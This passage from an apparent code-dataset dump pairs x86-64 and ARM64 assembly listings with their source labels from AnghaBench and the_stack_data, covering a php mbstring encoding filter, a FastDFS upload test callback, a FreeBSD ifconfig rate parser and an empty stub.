L0_0_set_5 .long L0_0_set_7 .long L0_0_set_9 .long L0_0_set_11 .end_data_region ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mbfl_filt_ident_2022jpms ; -- Begin function mbfl_filt_ident_2022jpms .p2align 2 _mbfl_filt_ident_2022jpms: ; @mbfl_filt_ident_2022jpms .cfi_startproc ; %bb.0: ldr w8, [x1] and w9, w0, #0xfffffffd Lloh0: adrp x10, lJTI0_0@PAGE Lloh1: add x10, x10, lJTI0_0@PAGEOFF mov w11, #1 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 and w8, w8, #0xfffffff0 stp w8, w11, [x1] LBB0_2: ; =>This Inner Loop Header: Depth=1 and w12, w8, #0xf cmp w12, #5 b.hi LBB0_14 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 adr x13, LBB0_4 ldrb w14, [x10, x12] add x13, x13, x14, lsl #2 br x13 LBB0_4: ; in Loop: Header=BB0_2 Depth=1 and w8, w8, #0xfffffff0 str w8, [x1] cmp w0, #27 b.eq LBB0_2 b LBB0_19 LBB0_5: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #40 b.eq LBB0_21 ; %bb.6: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #36 b.ne LBB0_1 b LBB0_28 LBB0_7: ; in Loop: Header=BB0_2 Depth=1 cmp w9, #64 b.eq LBB0_16 ; %bb.8: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #40 b.ne LBB0_1 b LBB0_28 LBB0_9: ; in Loop: Header=BB0_2 Depth=1 cmp w9, #64 b.eq LBB0_16 ; %bb.10: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #63 b.ne LBB0_1 b LBB0_22 LBB0_11: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #74 b.eq LBB0_14 ; %bb.12: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #73 b.eq LBB0_23 ; %bb.13: ; in Loop: Header=BB0_2 Depth=1 cmp w0, #66 b.ne LBB0_1 LBB0_14: str wzr, [x1] LBB0_15: ret LBB0_16: mov w8, #128 str w8, [x1] ret LBB0_17: cmp w0, #27 b.ne LBB0_24 ; %bb.18: add w8, w8, #2 str w8, [x1] ret LBB0_19: sub w8, w0, #127 cmn w8, #95 b.hi LBB0_15 LBB0_20: mov w8, #1 str w8, [x1, #4] ret LBB0_21: add w8, w8, #3 str w8, [x1] ret LBB0_22: mov w8, #160 str w8, [x1] ret LBB0_23: mov w8, #32 str w8, [x1] ret LBB0_24: sub w9, w0, #33 cmp w8, #128 b.ne LBB0_26 ; %bb.25: cmp w9, #94 b.ls LBB0_28 b LBB0_29 LBB0_26: cmp w9, #94 b.hi LBB0_29 ; %bb.27: cmp w8, #160 b.ne LBB0_29 LBB0_28: add w8, w8, #1 str w8, [x1] ret LBB0_29: cmp w0, #128 b.lo LBB0_15 b LBB0_20 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_17-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_5-LBB0_4)>>2 .byte (LBB0_7-LBB0_4)>>2 .byte (LBB0_9-LBB0_4)>>2 .byte (LBB0_11-LBB0_4)>>2 ; -- End function .subsections_via_symbols
AnghaBench/php-src/ext/mbstring/libmbfl/filters/extr_mbfilter_iso2022_jp_ms.c_mbfl_filt_ident_2022jpms.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _uploadFileCallback ## -- Begin function uploadFileCallback .p2align 4, 0x90 _uploadFileCallback: ## @uploadFileCallback .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp testq %rdi, %rdi je LBB0_1 ## %bb.2: movl %esi, %eax movq %rdi, %rsi movq _g_fdfs_network_timeout@GOTPCREL(%rip), %rcx movl (%rcx), %ecx leaq -4(%rbp), %r8 movl %edx, %edi movl %eax, %edx callq _tcpsendfile jmp LBB0_3 LBB0_1: movq _EINVAL@GOTPCREL(%rip), %rax movl (%rax), %eax LBB0_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _g_fdfs_network_timeout,4,2 ## @g_fdfs_network_timeout .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _uploadFileCallback ; -- Begin function uploadFileCallback .p2align 2 _uploadFileCallback: ; @uploadFileCallback .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 cbz x0, LBB0_2 ; %bb.1: mov x8, x1 mov x1, x0 Lloh0: adrp x9, _g_fdfs_network_timeout@GOTPAGE Lloh1: ldr x9, [x9, _g_fdfs_network_timeout@GOTPAGEOFF] Lloh2: ldr w3, [x9] sub x4, x29, #4 mov x0, x2 mov x2, x8 bl _tcpsendfile b LBB0_3 LBB0_2: Lloh3: adrp x8, _EINVAL@GOTPAGE Lloh4: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh5: ldr w0, [x8] LBB0_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _g_fdfs_network_timeout,4,2 ; @g_fdfs_network_timeout .subsections_via_symbols
AnghaBench/fastdfs/client/test/extr_fdfs_test.c_uploadFileCallback.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function getrate _getrate: ## @getrate .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rsi, %r14 callq _atof addsd %xmm0, %xmm0 cvttsd2si %xmm0, %ebx cvttpd2dq %xmm0, %xmm1 cvtdq2pd %xmm1, %xmm1 ucomisd %xmm1, %xmm0 jne LBB0_1 jnp LBB0_2 LBB0_1: leaq L_.str(%rip), %rsi movl $-1, %edi movq %r14, %rdx callq _errx LBB0_2: movl %ebx, %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "invalid %s rate (must be .5 Mb/s units)" .no_dead_strip _getrate .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function getrate _getrate: ; @getrate .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 bl _atof fadd d0, d0, d0 fcvtzs w20, d0 scvtf d1, w20 fcmp d0, d1 b.eq LBB0_2 ; %bb.1: Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF mov w0, #-1 mov x2, x19 bl _errx LBB0_2: mov x0, x20 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "invalid %s rate (must be .5 Mb/s units)" .no_dead_strip _getrate .subsections_via_symbols
AnghaBench/freebsd/sbin/ifconfig/extr_ifieee80211.c_getrate.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
the_stack_data/182952636.c
stack